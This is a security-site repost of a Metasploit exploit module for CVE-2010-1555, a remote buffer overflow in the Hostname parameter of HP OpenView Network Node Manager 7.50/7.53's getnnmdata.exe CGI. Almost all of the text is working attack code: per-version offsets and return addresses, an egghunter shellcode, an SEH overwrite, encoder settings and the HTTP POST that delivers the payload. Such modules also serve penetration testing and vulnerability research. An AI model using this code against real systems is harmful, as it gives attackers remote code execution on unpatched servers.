首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
HP OpenView Network Node Manager getnnmdata.exe (Hostname) CGI Buffer Overflow
来源:http://www.metasploit.com 作者:MC 发布时间:2011-03-28  

##
# $Id: hp_nnm_getnnmdata_hostname.rb 12131 2011-03-25 00:46:59Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/getnnmdata.exe', :pattern => /Hewlett-Packard Development Company/ }

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'HP OpenView Network Node Manager getnnmdata.exe (Hostname) CGI Buffer Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in HP OpenView Network Node Manager 7.50/7.53.
    By sending specially crafted Hostname parameter to the getnnmdata.exe CGI,
    an attacker may be able to execute arbitrary code.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 12131 $',
   'References'     =>
    [
     [ 'CVE', '2010-1555' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 750,
     'BadChars' => "\x00",
     'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
     'DisableNops' => 'True',
     'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
     'EncoderOptions' =>
      {
       'BufferRegister' => 'ECX',
      },
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'HP OpenView Network Node Manager 7.50', { 'Offset' => 65640, 'Ret' => 0x5a01f277 } ],
     [ 'HP OpenView Network Node Manager 7.53', { 'Offset' => 65640, 'Ret' => 0x5a666d69 } ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'May 11 2010'))

  register_options( [ Opt::RPORT(80) ], self.class )
 end

 def exploit

  egg = rand_text_alpha_upper(4)

  hunter =  "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
  hunter << "\xef\xb8" + egg + "\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

  boom =  rand_text_alpha_upper(target['Offset'])
  boom << generate_seh_record(target.ret)
  boom << hunter + egg + egg
  boom << payload.encoded
  boom << rand_text_alpha_upper(90024 - payload.encoded.length)
  
  sploit = "SnmpVals=&Hostname=#{boom}"

  print_status("Trying target #{target.name}...")

  send_request_cgi({
   'uri'  => '/OvCgi/getnnmdata.exe',
   'method' => 'POST',
   'data'  => sploit
   }, 8)
  
  handler

 end

end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·ClanSphere 2010.3 / CKEditor S
·VLC AMV Dangling Pointer Vulne
·Avaya IP Office Manager 8.1 TF
·wodWebServer.NET 1.3.3 Directo
·HP OpenView Network Node Manag
·eXPert PDF Editor 7.0.880.0 Cr
·HP OpenView Network Node Manag
·Eircom Netopia Router Backdoor
·HP OpenView Network Node Manag
·RealPlayer 11.0 Buffer Overflo
·HP OpenView NNM nnmRptConfig.e
·Windows Media Player 11.0 Buff
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved